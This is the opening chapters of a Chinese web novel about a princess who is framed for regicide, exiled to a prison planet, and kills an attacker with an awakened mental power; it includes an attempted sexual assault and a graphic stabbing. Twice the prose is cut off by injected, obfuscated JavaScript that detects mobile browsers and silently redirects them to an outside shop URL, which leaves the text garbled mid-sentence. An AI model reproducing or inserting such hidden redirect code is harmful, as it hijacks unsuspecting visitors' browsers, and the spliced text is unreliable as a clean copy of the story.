《流放荒星的公主》 1. 第一章 引子 天鹰星系,首都星,天鹰帝宫。 公主寝内。 栗胤欣赏地看着面前的斐戎族亚人男性,一只手不安分地在他狸花色的细长猫尾上捋动,看到他尖尖的猫耳不受控制地晃动了一下,开口笑道:“你准备好了?” 斐戎族男性闻言望向面前的女性智人。 这是她的寝室,她的地盘。装饰家居无一不透着奢华,却又带着让人安心的生活气息,空气中透着独属于年轻女性的馨香。 女人随意地半躺在宽大舒适的榻上,黑发如瀑,肤白如玉,眉眼如黛,贴身柔软的布料衬得她的身材纤细且诱人。 一对金色的眼睛半眯着,手上的动作却纯熟轻佻,每一下都撸在他尾巴最敏感的地方,他自己都不知道自己的尾巴被人揉捏会让他有这样的反应…… 不知道是把玩了多少亚人锻炼出的技巧。 天鹰星系天鹰帝国的第一王储,栗胤·库尔维耶公主,做什么都天赋异禀。 她是天鹰星系的明珠。 委身在这个女人身下,确实也是多少人梦寐以求的机会。 他的脸隐隐发烫,勉强维持住声音的平稳,缓缓地一颗颗解开上半身的纽扣,柔声道:“公主殿下,我愿意。” 扫到那片饱满的蜜色,栗胤满意地弯起眼,白皙的手刚放到对方敞开大半的胸膛上,寝室的门被嘭地撞开,士官面色戚然道:“公主殿下,库尔维耶皇帝殁了。” 栗胤变了脸色:“父王驾崩了?” 她昨天还和库尔维耶皇帝共进晚餐。 骤然失去父亲,她的大脑一片空白。 但这种时候,她不得不清醒。 王族教育的第二课,便是紧急情况的应对方案。 “是意外还是,”她强迫自己的思绪运转,干涩道,“蓄意谋害?” “目前正在调查中。”士官说,“按照天鹰帝国继承法,您作为第一王储,在七天国丧之后,要准备登基大典。” 斐戎族男性清晰地看到,原本公主脸上生动的表情逐渐消失了,把玩异性的色欲、听闻皇帝去世的悲伤都慢慢淡去,化作一张看不透的脸。 她不再是“栗胤”本身,而是天鹰帝国的第一王储,是权利与地位的象征,是利益集团的明面符号。 她淡淡开口:“我知道了。” 又将头转向他,这时候的表情稍微多了点温度,温和道:“你也回去吧,很抱歉浪费了你的时间。” 他惶恐道:“是我耽误您了,与您在一起的每一刻,都是我珍视的时光。您节哀。” 栗胤对他点点头,离开了这个房间。 · 对栗胤而言,七天的国丧期过得飞快。她每一天都忙得脚不着地,有大把的公务等着她定夺,又因为老皇帝走得太突然,很多手续都需要交接完善,她甚至连悲伤的时间都没有。 七天后,就到了登基大典的日子。 登基仪式在帝都中心广场举行。 栗胤身着精美的礼服,一步步走上登基的台阶,站在演讲台上,俯视广场上乌泱泱的民众。 以前站在这个位置上的永远是她的父王。 他不能说是个多合格的父亲,陪在情人身边的时间比陪伴儿女的时间多得多,但栗胤这时候的回忆里却只有父王面对她的宠溺笑脸。 明明在这个如此重要的时刻,栗胤的视线却因泪水而模糊了。 在她的手握到王冠,即将拿起它戴到自己头上时,斜地里冲出一队卫兵将她团团包围。 “栗胤·库尔维耶!”为首的人大声说道,声音通过演讲台上的扩音麦克风传遍整颗星球,“技术恢复的监控录像表明,你在八天前的晚上曾进入过库尔维耶皇帝的王寝,在王宫内院翻出的毒药瓶上有你的指纹,你涉嫌谋杀皇帝,此为一级叛国罪,按照天鹰星系《皇权法典》第XII章第179条,依法当被流放荒星!” 栗胤震惊地看着那人,她从未在王宫近卫队中看到过这张脸。 这是针对她的一场污蔑,她心中闪过这个念头。 没等她开口,她的弟弟,栗禝·库尔维耶站出来,大声反驳道:“信口开河!我姐姐怎么可能做出这种事?” 栗禝比栗胤小两岁,两个月前刚举办了成人宴。 他是库尔维耶老皇帝第三情人诞下的孩子。 天鹰帝国崇尚自由恋爱,一个人可以同时拥有多个情人,上至掌权者下至贫民皆是如此,没人觉得有什么不对。 智人孕育子嗣极为困难,基本上只能与同为智人的另一半产生后代。所以即便库尔维耶皇帝情人众多,膝下却只有栗胤和栗稷这一对儿女。 尽管不是同一个母亲,栗胤对这个从小跟在自己屁股后头的弟弟一直都很是疼爱。 她现在才发觉,对方不知道什么时候已经比自己高一个头了。 他相信自己,愿意在这时候站出来为自己说话,这点让栗胤心头微暖。 为首卫兵示意手下将录像的全息投影在广场的上方放出,这个投影又通过转播卫星出现在数以亿计的所有虹河系民众视线里。 左下角的时间显示系统历3298年5月6日晚上8点,皇帝寝宫门口出现了一个身材高挑、戴着遮目的女性身影。尽管金色的眼睛被遮挡,但凭露出的下半张脸和身材,还是能够辨认出是天鹰帝国的公主殿下。 镜头切换,在内院走廊,这个戴着遮目的女性将一个瓶子扔到了窗外。 经过检验,那个瓶子中装的正是导致皇帝死亡的剧毒,而瓶身上,只有栗胤一个人的指纹。 证据确凿,栗胤的呼吸微微急促,但皇室的教养让她在民众面前习惯性地保持镇定:“是跟我长得相像的人在模仿我,但她无法模仿我的眼睛,因此才用了遮目。” 金色的眼睛,是王族的智人特有的象征。 卫兵队长说:“分明是你为了掩人耳目,做贼心虚,不想让人认出才遮住自己的脸!” 栗胤说:“进出父王寝室,我何必要遮住自己的脸?” 卫兵队长振振有声:“毒药瓶上有你的指纹是千真万确的!” 兀地冒出一个拳头砸到卫兵队长脸上,打得他身体一歪。栗禝红着眼骂道:“谁知道是不是有人搞到我姐的指纹嫁祸她!” 栗胤呼出一口气,拉住她的弟弟,对卫兵队长说:“我没有动机。” 谁知这句话正对卫兵队长下怀,他勾起唇说:“你有。” 栗胤眉心蹙起。 “库尔维耶皇帝在位三十年,而以他平日的身体状况,还能继续连任三十年。你急于坐上王位,不惜做出弑父之举。” “荒谬!” 预见到栗胤的反驳,卫兵队长一挥手,又一个卫兵拿出一本日记,用投影放大,供所有人阅读。 上面的字秀丽端正,和栗胤的字迹一模一样。 系统历3288年3月12日 今日被父王批评了,等我坐上王位就第一个整死他。 …… 系统历3292年12月23日 想出国还要那么多手续,烦! 父王到底什么时候才能把王位给我? …… 系统历3298年2月30日 这老男人怎么还不去死? 决定了,再过两个月就动手! …… 栗胤简直要看笑了:“这怎么可能是我写出来的东西?” 栗禝也道:“我姐才没有写日记的习惯!” 卫兵队长对栗禝说:“王子殿下,知人知面不知心,这本书在栗胤寝室书桌夹层找到,经重重鉴定,确实是栗胤本人的笔迹。” 他已经不把栗胤当皇室公主看待了。 在接连有力的证据中,底下民众看待栗胤的目光也逐渐变化。 一个人向台上扔出水瓶,如同点燃了引线,越来越多的人相信了卫兵队长的说辞,发出嘘声赶栗胤下台。 有人高喊,有人附和,底下的嘘声越来越响亮。 “弑君公主,流放荒星!” “弑君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王库权限与君主的金色虹膜绑定,又在栗胤被定为第一王储时同步给了她。在王库中的,是天鹰帝国历届君王打下的江山,是数不尽的财富和权利。 她目前无法使用了,至少要留给她的弟弟。 栗禝确认了自己的权限,收起与栗胤相握的手,信然插兜而立。 脸上再没有对亲人境遇的焦急愤慨,只余淡淡的哂意。 看着他表情的变化,一股寒意顺着脊柱蔓延至栗胤全身。 · 栗禝好整以暇地退后一步,欣赏着栗胤脸上不断变换的表情,勾唇笑道:“姐姐,我说到做到,会让你知道谁是幕后主使。” “所以你才能突破重重护卫,一路跟到这里……”栗胤说,“你做到这一步,就是为了得到王库的虹膜解锁权限?” 往日和弟弟相处的一幕幕在脑海中回现,红色的血丝漫上栗胤的眼睛,“你为什么……?” “你居然问我为什么?!”栗禝声音拔高,“不过比我早生两年,却一路享受着第一王储的红利,所有人都把你当做未来的女皇,父王也一样,而我,什么都不是!” 他说:“我出生多久,就恨了你们多久!” 栗胤表情奇妙:“你觉得我是第一王储,仅仅只是因为我比你早出生两年?” 作为王储,他们自小接受的教育比寻常人类更为严格。但就连最挑剔的老师,也无法对栗胤挑出一点不是。 不论是理论还是实战,栗胤的成绩在所有学生中都一骑绝尘,更是将栗禝远远甩在后头。 她是那么出色,以至于大家的认知中,由她接任天鹰帝国的掌权者,是非常顺理成章的一件事。 栗禝的表情有片刻扭曲,很快被他压下,转为胜利者的微笑:“栗胤,是我赢了。” 得知自己被陷害的理由后,栗胤竟恢复了平静。她知道在这种情况下,与栗禝说再多的话都无用,便只深深看了他一眼。 她转身,由着卫兵将她押入流放艇,只一句话轻飘飘地落到了栗禝耳中。 “我会回来,拿回属于我的一切。” ——你且等着吧,栗禝。 2. 第二章 王族 虹河系边际。 荒狱星。 常年昏暗的天空中晃起一道波纹,天空如水波般往两旁裂开,伴随着电波的流转,一艘舰艇透过撕裂的天幕,出现在星球上方。 这艘经过两次跃迁、三个系统月航行的流放艇降落在星球的空地,舱门打开,一队全副武装的警员在舱门附近列队警戒,之后,身着麻衣的女孩被警卫长押着走下了飞船。 正是栗胤·库尔维耶。 荒狱星是处于整个虹河系最边缘的行星,从天鹰星系过来,即便是最先进的飞行艇,也需要经过多次跃迁,耗费整整一个系统月的时间,才能到达此处。 理论上宇宙是没有边界的,但虹河系的科学家们发现,在星系边缘,因为没有了恒星的光茫,再往前走,就只剩浓稠得化不开的黑暗。 黑暗能吞噬所有好奇的探险者。根据有去无回的宇宙理论,在黑暗之外,宇宙的膨胀速度已经超越了飞船跃迁的速度,成为无法返回的边界。 于是他们就将目前星图内的可观测宇宙统称为虹河超星系团复合体,简称虹河系,而无人舰艇的信号在黑暗中能探索到的极限,被称为“宇宙的边际”。 荒狱星正如其名,是星河尽头用来关押犯人的荒星。 它本身的条件并不适合孕育生命,一直以来,附近星系的人都把它当做垃圾场,倾倒那些不适合在宇宙中漂流的垃圾。一次,一艘垃圾倾倒艇里扔下的垃圾中含有一个老旧的探测仪,让人们发现了蕴含在星球内部极其丰盛的稀有矿物。自此,荒星被装上了大气改造系统,加了人工太阳和重力调节器,方便人类在这颗星球上生存,从而更高效地挖掘采取稀有矿物。 因没有公转恒星,星球上也就没有日月季节之分,便以虹河系的系统时刻来计时。 系统时以天鹰星系首都星自转一周的时间为一个系统天,绕恒星公转一周的时间作为一个系统年,期间又根据四季划分出了十二个系统月。 这套计时法随着天鹰星系向其他星系的殖民与文化侵略,普及到了整个虹河系。 为了节省成本,荒星上没有任何生态改造系统。这颗行星的条件实在艰苦,加上来回路途遥远,再吃苦耐劳的矿工也不愿在这里生存。 于是被送来采矿的,就成了各个星球中的重型罪犯。 荒星也换了个名字,成为了荒狱星。 孤立的行星、苛刻的条件,成了关押犯人最天然也最严密的牢笼。 当他们的双脚踏上这颗星球的土地,就失去了离开的可能。 只能将余生投入看不到尽头的采矿劳作,用采到的能量矿向不定期造访的商船换取物资维生。 离开恒温的飞船,荒狱星上冷冽的空气迎面吹来,栗胤打了个冷颤。 漫长的星际飞行以及流放者的待遇让栗胤略显憔悴。 但她知道这只是开始。 当她走下飞艇的这一刻,她的生命再也不受任何保障。 警员列队不是为了保护她,只是为了打消这颗星球上的罪犯对流放舰艇的觊觎。 栗胤垂下头,用长发遮掩住自己的眉眼。 她能感受到在她走出舱门的一瞬间,就有数道目光锁定在自己身上。 尽管她一袭麻衣且形容憔悴,露在布料外头的纤细手腕和脚踝依旧凝白如脂。 在手腕和脚踝上,环着银白色的记忆金属镣铐,这是为了防止在星际航行中,犯人反抗夺取舰艇的举措。 但到了荒狱星,镣铐会被取下,任凭他们在星球上自生自灭。 警卫长解下了她手腕和脚踝上的记忆金属镣铐,一席警员便回到艇上,流放艇很快便再度起飞。为了防止犯人中途脱逃或者买通警卫,这种流放艇设置了严格的航行程序,将意外减少到最低。 气流吹得栗胤站立不稳,踉跄两步,一双粗糙有力的手扶住了她。 她转过头,透过厚厚的刘海缝隙,看到扶住她的是个比她要宽大不止两倍的男人。 手臂上覆盖着浓密的汗毛,按照身材的壮硕程度,是有着黑熊基因的炻餮族亚人。 不光是体格还是力量,作为智人的她都无法抗衡。 她蹙起眉,感受到了对方的手不客气地在自己的手臂上揉捏了一把。 “妞儿,刚来,让我李四教你一下这里的规矩?” 扶住她的壮硕男人如此说道。 流放艇刚出现在天空中时,饥渴已久的犯人们就已经锁定了这次要投放的新人们。 他们向飞艇降落的地点聚拢。 在艰苦得要将人逼疯的环境中,靠折磨新人获得快感,是他们为数不多的振奋时刻。 被折磨过且幸存下来的新人,也会期待下一波新鲜血液降临时,在他们身上发泄自己遭受过的一切。 李四便是其中之一。 这次的流放艇看着颇为高级,安保也很严密,他们以为关押的会是十分凶狠的重刑犯,本不抱什么希望,却没想到走下来的,只有一个娇小柔弱的女性。 确认这一趟被流放的犯人是个女性,藏在垃圾山丘后的重刑犯们毫不掩饰自己的欲望,目光黏腻地在对方身上打量。 “你们看得出她是哪个亚人族的吗?” “没看到兽耳和兽尾,是特征不明显的明朔族吧。” “仓鼠?还是刺猬?有没有可能是豚猪?” “等你扒下她衣服就一清二楚了。” 人群中传来低低的笑声。 “放心,明朔族胆小怕事,好弄得很。” 露骨的笑声很是持续了一阵子。 有人开口:“有没有可能是智人?” “智人?怎么可能会有智人被送来这种地方!” “若她真是智人……”其中一人舔了舔唇,“那可太棒了。” 史书记载,两万万年前的宇宙射线让虹河系的人类发生了变化,出现两种分支。其中一种与兽类基因融合,身上出现动物的特征和强化,他们被称作亚人。 而另一方,□□外表没有任何变化,却在智力、精神力上获得了提高,他们便是智人。 智人的血统纯粹而尊贵,只能由同为智人的父母孕育而生,人口只占虹河系总人口的1%,却掌管着虹河系80%的财富,是天生的贵族。 但在规则之外,对于身上融合了兽类特征的亚人来说,以脑力为主的智人在他们的力量面前毫无反抗之力,简直如同赤子般软弱可欺。 “这个妞先给我用。”抢在其他人开口前,李四站出来宣布道。 “十颗能量石。”另一个人开口。 “惯例不是五颗吗?”李四瞪眼。 “那能是一样的货色吗?!”对方不甘示弱,“还是你想用武力来定先后?” 李四“啧”了声,眼神在女孩暴露在外的皮肤上留连许久,哼哧道:“十颗就十颗。” 当他触碰到栗胤凝脂般的肌肤,脑中只剩一个念头:十颗能量石值了。 她不能,也做不到在这里和这个叫李四的男人起冲突。 栗胤在短短时间内权衡取舍,得出了这个结论。 她擅长的是机甲器械,王储身边从不缺护卫,她没有经过多么刻苦的近身战培训,面对体格比她高大的成年男性,她没有多少胜算。 况且,就算现在耗费全力,勉强能够制服黑熊亚人,周围仍然有一群虎视眈眈的重刑犯在等着她。 但幸好,他们没有一来就对她上硬的。这个炻餮族亚人说的话虽然夹带着口音,却能听得懂是天鹰星系的语言。 作为最大的殖民外拓星系,天鹰语也是虹河系的官方语言。 能用统一的语言交流,荒狱星就存在基础的社会框架和规范。 比她想象中彻底的秩序崩坏、人人肆意妄为的星球要好得多。 思及至此,她深吸一口气,强压下反胃、恶心和恓惶的颤抖,凑到李四耳旁,轻声对他说:“我会听话的,你能带我去一个没人的地方吗?” 她的声音清凛,带着女性馨香的气息钻到李四耳中,让李四半边身子都麻了。 他淫邪一笑:“当然,带你见识一下哥的庇护所。” 围观的人见栗胤顺从地跟着李四走了,没有他们想象中宁死不屈的混乱场面,捡不到什么漏子,又怵于李四的体格,只能骂骂咧咧地散去了。 少挖一天的矿,等收矿的商船来了,他们能换的营养液也会少一瓶。 商船停泊日期不定,只有手里囤足了营养液,才不至于在饥饿中无以为继。 有太多人因为饥饿而无力挖矿,导致没有可以和商队交换的物品,又抢不过别人的口粮,最后活活饿死在这颗星球。 一路走,栗胤一路在观察这颗星球的环境。 尽管做足了心理准备,星球上充满铁锈与尘土味的干冷空气、满目苍夷的废旧垃圾堆成的巨山、能量不足而灰暗的人造天空,还是让栗胤的一颗心沉到了谷底。 聊以慰藉的是,李四的庇护所比栗胤想象得要干净一些。 荒狱星上的庇护所大多是废弃矿坑,谁第一个看到并占据它,就成了谁的庇护所。 李四的这个也不知道之前是无主的,还是他仗着自己的胳膊粗抢来的,尽管墙壁与天花板被挖掘得凹凸不平,房间里头竟然有粗略手工组装出来的家具,甚至还有一套简单的净水系统与取暖设备。 栗胤的目光从乱糟糟的桌面扫过,抬眸望向面前黑熊一般高大的男子,目光如炬。 将简易铁板做成的门一摔,李四再也忍耐不住,抱着栗胤就要往她脸上啃。 他啃了个空。 怀中方才还娇软可欺的女子,突然如泥鳅一般灵巧,不知使了什么巧劲,从他臂膀下钻了过去,飞快地拿起他桌面上的一个扳手,狠狠向他砸来! 他抬手轻松挡下栗胤的攻击,不在意地甩甩手,露出狠厉的笑:“居然是个带刺的。” 力量差距的悬殊让栗胤心惊,她咬紧牙关,利用身体灵活的优势在房间内与李四周旋。 她的目光扫过那扇铁制的门,可能是预想过她会在庇护所反抗逃窜,李四将那扇门锁得紧紧的,在他紧密的追击下,她没有足够的时间打开这扇门往外逃。 因她分神,乌黑的长发被李四抓住,往后狠狠一拽。 栗胤感到头皮几乎撕裂般的痛,后背撞上一堵肉墙,紧接着两根铁箍似的手臂扣住她的两臂,让她难以再逃脱半步。 她的身体被对方翻转过来,正对上对方急喘的脸,那对眼中混杂着激动的血丝,竟是被她的反抗激起了更强烈的欲望。 “跑呀,怎么不跑了?”李四泄愤似的抓住栗胤的头发往后扯,栗胤被迫仰起头,遮住脸颊的头发滑落至脑后,露出被藏起来的惊艳眉眼。 李四的呼吸有片刻停顿。 她真的是智人。李四脑中闪过这样的念头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242889|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯有智人有这样的美貌。 不是小体型的、遮住兽类特征的亚人,是真真切切的智人。 在这颗荒狱星几乎不可能见到的智人。 若早知道是智人,岂止十颗能量石,一百颗都换不到和她共处一晚。 他放肆地打量着对方的脸,毫不掩饰心中的淫邪恶念。在他的视线下,那女子分明有一瞬间的惶然,却在下一秒忽地冲他露出了笑容。 她展颜笑开,面容如同芙蓉初绽,李四何曾见过这般姿色?他有些痴了,看着女子的皓腕温柔地向自己搂来,擦过自己熊一般粗壮的腰身,带来无限遐想的酥痒。 他紧接着意识到了不对,在刀尖舔血磨练出的意识让他猛地扣住那只似柔若无骨的手臂,一道银光闪过,他的脸颊先是一凉,再是猛烈的痛意传来,那个女人竟然用那张脸迷惑住他,顺走他挂在后腰的匕首,划伤了他! 若不是他伸手阻挡,那匕首擦过的,就是他的脖子! 她怎么敢?! 脸颊的痛楚让他腾起被玩弄的愤怒,他紧紧扼住栗胤的脖子,狠狠道:“我原本还打算随便玩玩就把你扔给别人,现在我改变主意了,我要让你余生都在我身下,受尽我的折磨——” 因缺氧,栗胤的脸色渐渐转紫。她的视线余光望向垂落在地上的匕首,指尖反射性地颤了一下,强烈的不甘席卷了她。 匕首离她只有那么近,她却再也无法让自己往前挪动半寸。 她已经用上了属于自己身体能用上的一切。遮掩的长发,灵巧的身段,甚至那张初见能让人晃神的脸。 但是在绝对的力量差距面前,这些根本不够用。 视野的尽头开始发黑,她感受到双腿发软,力气正以极快的速度消逝。 作为智人的她怎么可能是炻餮族亚人的对手? 那一瞬间,栗胤想了很多。 她不再是天鹰帝国的第一王储,不再是被所有人宠在手心的公主,不再是权利与财富的中心。 她是被流放荒星的囚犯。 她放弃了挣扎,闭上眼作出柔顺的姿态。 没事的…… 她咬着牙想。 怎么都比死了强。 见她不再抵抗,李四也放松了对栗胤脖子的扼制。 毕竟花了十颗能量石才换来第一个品尝的优先权,他也不想随随便便把人玩死了。 但他牢牢扣着栗胤的双手手腕,让她不能再对他进行任何威胁。 她的手腕白皙纤细,以他的体格单手就能扣住。另一只粗大的手掌向栗胤的衣服下摆伸去。 栗胤的呼吸越来越急促。 脑中闪过在皇宫中上防卫课时的场景。 她宫中的老师也是个强壮的炻餮族,是前线退役的士兵,曾代表天鹰帝国征战各个星系。他已经近九十岁,却丝毫看不出岁月的痕迹,一身腱子肉站在年幼的她和栗稷面前,仿佛一巴掌就能拍死他们两个。 他们被老师一次次撂倒在地,原本干净的衣服沾满污渍,身上没有一个地方不在隐隐作痛。 王族哪个孩子不是在万千宠爱中长大,何曾受过这样的屈辱。栗稷气得抓起泥巴乱扔一气发泄,最后跑得不见身影。 栗胤也很沮丧,她对老师说:“我不知道向亚人学习防身术的意义在哪里。” 智人与亚人的力量根本不在同一个水平线。 老师闻言笑了,因为他太壮硕,笑声震得地面都在颤。 “公主殿下,王族比一般的亚人更容易遇刺,只要能提高您面对危机情况时千分之一活下来的概率,这门课就有它的意义。” 栗胤气鼓鼓地说:“可是,亚人天生有体力优势,在巨大的实力差面前,我根本就没有胜算。” 老师看着她金色的眼睛,露出一个带着无限感慨的笑容,似乎透过她的瞳眸看到了别的场景。 如今天鹰帝国的外征拓荒军队都由忠实强健的亚人将军率领,但在天鹰帝国拓疆之初,皇帝是亲自上战场带领士兵的。 天鹰星系的每个人都知道库尔维耶王族首位大帝的名字,凯撒·库尔维耶。是他终结了天鹰星系长达270年的内战,统一整个星系,带来了天鹰至今七百多年的和平。 也是他在天鹰星系称帝后,没有止住脚步,而是继续向星系外拓疆,系起天鹰、禺泯、澳绔、斐离、亚萍、辛泽、尤卡七大星系人类交流的纽带,将文明的火焰遍撒虹河系的每个角落。 虹河系的科技发展到如今地步,库尔维耶大帝对于以天鹰语为官方语言、以信诺币为官方货币单位的统一功不可没,大大促进了各个星系之间的交流与贸易,将虹河系织成了一张互相交织的网。 史称,织网纪元。 栗胤也曾疑惑过,大帝身为和她一样的智人,是怎么做到率领成百上千亿强壮的亚人士兵,让他们心甘情愿臣服于他,随他闯入无垠星河的? 她将自己的疑问说出口。 那个时候,那位身经百战的炻餮族老师是怎么对她说的来着? “——不要小看了您自己。” “您可是王族啊。” “王族好比原钻,唯有磨砺使其更闪耀。” 我是王族。 唯有磨砺使其更闪耀。 ——区区亚人,竟妄想凌辱我? 栗胤蓦地睁大眼,瞳孔的黑仁消失,化为纯粹耀眼的金,摄住面前强壮的男人! 3. 第三章 荒星 看到栗胤的金眸,李四先是诧异,接着一股难以抵抗的力道禁锢住了他,让他动弹不得! “金色的眼睛……”他艰难地开口,“你竟然、是……王族!” 不但是智人,更是王族…… 荒狱星里什么时候,竟有王族到访了? 他李四也有直面王族的一天。 也是他生命中的最后一天。 不,不可能! 他……不……会……死……—— 栗胤摆脱了李四的束缚,第一时间捡回了匕首。察觉到男人有挣脱自己精神禁锢的趋势,她来不及犹豫,高高举起利刃,将它深深扎入了男人的胸膛! 操控匕首刺入别人身体里的触感清晰得可怕。 先是一层轻微的阻力,那是黑熊族紧绷的皮肤。接着是柔软的脂肪层,坚韧的肌肉纤维,最后是胸腔内某种更脆弱的东西。 男人的肌肉因为疼痛而绷紧,瞳孔缩成针一样的大小,不敢置信地死死看着她。 滚烫的鲜血溅射到栗胤的脸上,她的目光依旧没有移动分毫。直到确认身下男人彻底失去了行动能力,她瘫坐在地上,眼前一黑昏了过去。 栗胤不知道自己昏过去了多久,但等她醒来时,庇护所内一切都维持着原本的样子。 李四的身体已经僵化,浸在他干涸的血水中,眼睛还睁着,直到最后都不相信自己会死在一个娇小的女性身下。 回想到匕首插入血肉的感觉,栗胤强撑着走到净水系统边上,吐了个昏天黑地。 似乎连胃酸都被一并吐出,栗胤喘息着,用清水冲掉身上的污秽,心中渐渐有了决定。 她不再是天鹰系锦衣玉食的皇室公主,如今的她和这颗荒星上的任何人都没有区别。 他们是整个虹河系地位最低等的囚犯。 想要活下去,她只能靠自己。 净水系统的洗手池配有一面带着裂缝的镜子。 栗胤望向镜子中的自己。 镜中的脸被裂缝切割,透着怪异的狰狞。脸上还挂着水珠,睫毛湿漉漉的。视线中央,那对金色的眼睛也在回望着她。 眼眶的弧度温润,外眦角微微上扬,衬得金色的眸子格外大而明亮。不笑的时候含蓄优雅,笑起来妩媚动人。 她曾无数次在镜子里和自己对视过,却头一次对自己这对眼睛产生了陌生的感觉。 就在前不久,在她感到强烈的屈辱与不甘的那个时候,瞳孔深处迸发出了从未有过的热度,大脑中有一块地方的能量以极快的速度被汲取消耗一空,以至于让她承受不住负荷昏倒在地。 在这之前,她从未意识到自己能够调动这片能量。 她的精神力。 这分明是她……与生俱来的能力。 其名—— 【束缚】。 在大众普遍的认知中,智人的大脑比亚人更为发达,精神也更加强悍。依靠智力与权谋,几乎每个星系中都是智人占据领袖地位,让亚人作为士兵或性偶,一直延续至今。 智人中精神力最强的,是拥有金色眼睛的王族。 但几乎所有人都以为精神力只是让智人能够进行更高强度的脑力工作,研发高难科技、进行复杂的行政管理决策。 原来当精神力凝聚到一定程度,是能够外放作用于他人的。 这是金色眼睛的王族血脉中代代相传的能力。 讽刺的是,因为祖先攒下太过富饶的基底,近几代天鹰帝国掌权者无须再以身涉险前往前线领兵拓疆,只需要坐守皇宫便能享尽一生荣华富贵,也就失去了对王族能力的发掘。 栗胤试图再次施展【束缚】,却只能看到镜中的瞳仁发出微弱的光芒,如同燃尽的线香星火转瞬即逝。 大脑发出阵阵钝痛,栗胤不得不闭上眼暂缓。 她知道,她的精神力透支了。 她的精神需要休息。 她低着头,一绺长发垂到她眼前。 栗胤捻起这绺头发,搓了搓发尖。 黑发绸缎般柔顺,长至腰际。她曾为保养这头青丝花了很多心思,但如今,它们只会成为她轻易被别人抓住的破绽。 她只犹豫了不到一秒,一手拿起匕首,一手抓住发根,干脆利落地割断了那头长发。 镜子里女孩的短发凌乱可笑,眼底青黑,唇色带着透支的苍白。 唯有眼神在一点点变得坚定。 栗胤在房间里搜刮了一阵。 李四的庇护所里有不少东西,包括在这颗星球上作为货币象征的能量石、几瓶营养液、几件衣服和一些采矿的工具,这些对她来说都很有用。 那些衣服算不上干净,布料浸满了男性的汗臭味,但足够遮蔽自己的身材,尤其是兜帽,戴上后可以遮蔽大半张脸。对栗胤来说,光是能隐藏自己的金色眼睛这一点,这件衣服就是她今后在星球上行走不可或缺的东西。 简单收拾完毕后,她喝了一瓶营养液用以补充能量。 营养液是维持身体所需能量的一种浓缩饮品,最初由赦生制药研发,供军方使用,渐渐因为其低廉的成本和便捷宽泛的使用场景推广到了整个虹河系。 不过手掌大小的一瓶营养液就能抵一整天的能量消耗,只是味道无法保证。 栗胤从前锦衣玉食,哪里想到居然还有用营养液维生的一天。但就算再不喜欢它的味道,她也要捏着鼻子喝下去。 对本质上是个垃圾场的荒狱星而言,唯一能填饱肚子的,也就只有营养液了。 一切收拾完毕后,栗胤将兜帽檐往下拉了拉,打开了庇护所的铁门。 有风吹来,空气中是沉闷的泥土与铁锈的气息。 在栗胤面前,是荒狱星昏暗的天空、千疮百孔的矿坑、由废旧零件堆成的连绵山丘。 她迈出脚,正式踏出来到这颗荒星的第一步。 ` 西面的天空悬着一颗不算耀眼的光球,那是这颗星球的人造太阳,它的正式学名是“星球气候调控矩阵”,兼顾了星球的大气重塑、生态光照和温度调节等各项功能。 越往“太阳”的地方走,周围的光线也就更明亮,温度也相对更高一些。 栗胤对这样的人造太阳并不陌生,它是天鹰星系大航海时代的产物,靠吸收宇宙辐射的供能就能实现对一颗星球气候的能源调控。 一千多年来,天鹰星系不知道往各个星系的其它星球送出了多少人造太阳,让人类的生活痕迹几乎遍布虹河系的每一颗星球。 按这颗光球的亮度和斑点来看,是比较落后的型号了。 毕竟荒狱星作为监狱,已有三百多年的历史,星球改造的人造太阳挂在这颗星球上少说也有三四百年了。 旧型号人造太阳的位置是固定的,所以星球上日与夜的区域也是固定的。 五十年前天鹰星系生产的第298代星球气候调控矩阵,已经能够兼顾生态光周期循环,给星球带来真正的日夜与四季。 但谁会想着给一颗囚星更换新的太阳呢。 栗胤往前走了大约两个系统时,找到了荒狱星的集市。 它既没有在最温暖明亮的人造太阳最下方,也不在黯淡无光的黑夜半球,而是处在日与夜的交界处。 也就是这颗星球的“黄昏”。 交易不能在太明亮的地方进行,也不能发生在一片漆黑中,黄昏的亮度刚刚好。 栗胤心头微舒。 集市意味着有你情我愿的交易而非一味掠夺,有交易就有秩序的存在,有秩序的地方,她这样体质偏弱的智人就有活下去的空间。 她在集市中慢慢走过,仔细听着集市中此起彼伏的讨价还价声。 集市的语言代表了一颗星球的主体语言。尽管集市里的人口音不一,但使用的语言都是虹河系的官方语言天鹰语。 栗胤在这种时候格外感谢统一了虹河系大部分星球语言和文化的凯撒·库尔维耶大帝。 她虽精通七大星系的官方语言,但若让天南地北的人在一颗星球上交流演化出一门新的语言,于她来说生存又会增加更多难度。 同时也要记下其中出售的主要商品和价格。 营养液的价格浮动得比较厉害。 荒狱星没有生产营养液的能力,星球上的人用来维持生理需求的食物,全部来自于商船交易时带来的营养液。 商船刚走的时候,营养液的价格会比较便宜,但若许久没有商船降落,一瓶营养液也能炒到天价。 若非急缺钱换取装备,很少有人会出售营养液。 其余的东西价格倒比较统一。衣服被子,一颗能量石。一把匕首,十颗能量石。热武器,一百颗能量石起步。还有不少自己改装的机械,价格视用处而定。 能做。她想。 在机械组装方面,她是天鹰系公认的天才。 荒狱星的垃圾山上堆埋的垃圾多为废旧器械,它们的零件都能用来重新组装。 比起去拥挤的矿坑单纯地耗费力气与时间开采矿物,将旧机器修理改造后在集市出售,对她而言是效率更高的做法。 先从寻找零件开始。 集市东面这块垃圾山上人烟稀少,却是栗胤一路走来见过最好的一处零件收集地。 离太阳不算远,能不用照明设备就看清废旧器械的模样,温度不冷不热。 此处的废旧垃圾应该是近两年刚被倾倒的,堆在上头的机器在荒狱星上属于最新的一波。只因不少器械的能源没有耗尽,容易被能量波误伤,这才鲜有人至。 